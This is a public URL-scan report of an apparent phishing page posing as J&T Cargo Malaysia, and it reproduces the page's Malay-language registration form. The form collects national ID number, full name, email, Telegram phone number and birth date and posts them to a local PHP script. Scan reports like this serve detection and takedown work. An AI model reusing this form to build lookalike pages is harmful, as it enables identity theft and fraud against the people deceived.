permohonan-jntcargoseluruhmalaysia.ip1f.website Open in urlscan Pro
188.114.97.3  Public Scan

Form analysis
1 forms found in the DOM

POST ./req/one.php

<form method="POST" action="./req/one.php" accept-charset="UTF-8" id="form-signup"><input name="_token" type="hidden" value="92rIrdhpGrSLfXchJYbf88cObfMbF9xcEbst7gTO">
  <h1>Daftar</h1>
  <div class="form-group">
    <select class="form-control" required="" autofocus="" name="ic_type">
      <option selected="selected" value="">Pilih Jenis ID</option>
      <option value="1">No. Kad Pengenalan Baru</option>
      <option value="2">No. Kad Pengenalan Lama</option>
      <option value="5">Pemastautin Tetap</option>
    </select>
  </div>
  <div class="form-group">
    <input placeholder="Nombor IC (cnth. 790811087654)" class="form-control" required="" autocomplete="off" name="ic" type="text">
  </div>
  <div class="form-group">
    <input placeholder="Nama Penuh Seperti di Kad Pengenalan" class="form-control" required="" autocomplete="off" name="name" type="text">
  </div>
  <div class="form-group">
    <input placeholder="E-mel" class="form-control" required="" autocomplete="off" name="email" type="email">
  </div>
  <div class="form-group">
    <input placeholder="Nombor Telefon Telegram (cnth. 60108877665)" class="form-control" required="" autocomplete="off" name="phoneNumber" type="text">
  </div>
  <div class="form-group">
    <input placeholder="Tarikh Lahir" value="" type="text" name="date_of_birth" class="form-control datepicker">
  </div>
  <div class="form-group text-left" style="margin-bottom: 0;">
    <label>
      <input id="checkbox-tnc-agree" name="checkboxTncAgree" type="checkbox" value="1">
      <span class="tnc_text">Saya bersetuju dan telah membaca </span><a href="#" class="tnc_text" rel="noopener noreferrer" target="_blank">Terma dan Syarat</a>. </label>
    <label>
      <input id="checkbox-disclaimers-agree" name="checkboxDisclaimersAgree" type="checkbox" value="1">
      <span class="tnc_text">Saya bersetuju dan telah membaca </span><a href="#" class="tnc_text" rel="noopener noreferrer" target="_blank">Penafian</a>. </label>
  </div>
  <div class="form-group text-left">
    <label>
      <input id="checkbox-pdpa-agree" name="pdpa" type="checkbox" value="1">
      <span class="tnc_text">Saya bersetuju dan telah membaca </span><a href="#" target="_blank">PDPA</a>. </label>
  </div>
  <input class="btn btn-primary btn-block" id="btn-next" type="submit" value="Seterusnya" disabled="">
  <p>
  </p>
</form>

Text Content

Toggle navigation



DAFTAR

Pilih Jenis ID No. Kad Pengenalan Baru No. Kad Pengenalan Lama Pemastautin Tetap





Saya bersetuju dan telah membaca Terma dan Syarat. Saya bersetuju dan telah
membaca Penafian.
Saya bersetuju dan telah membaca PDPA.



J&T CARGO MALAYSIA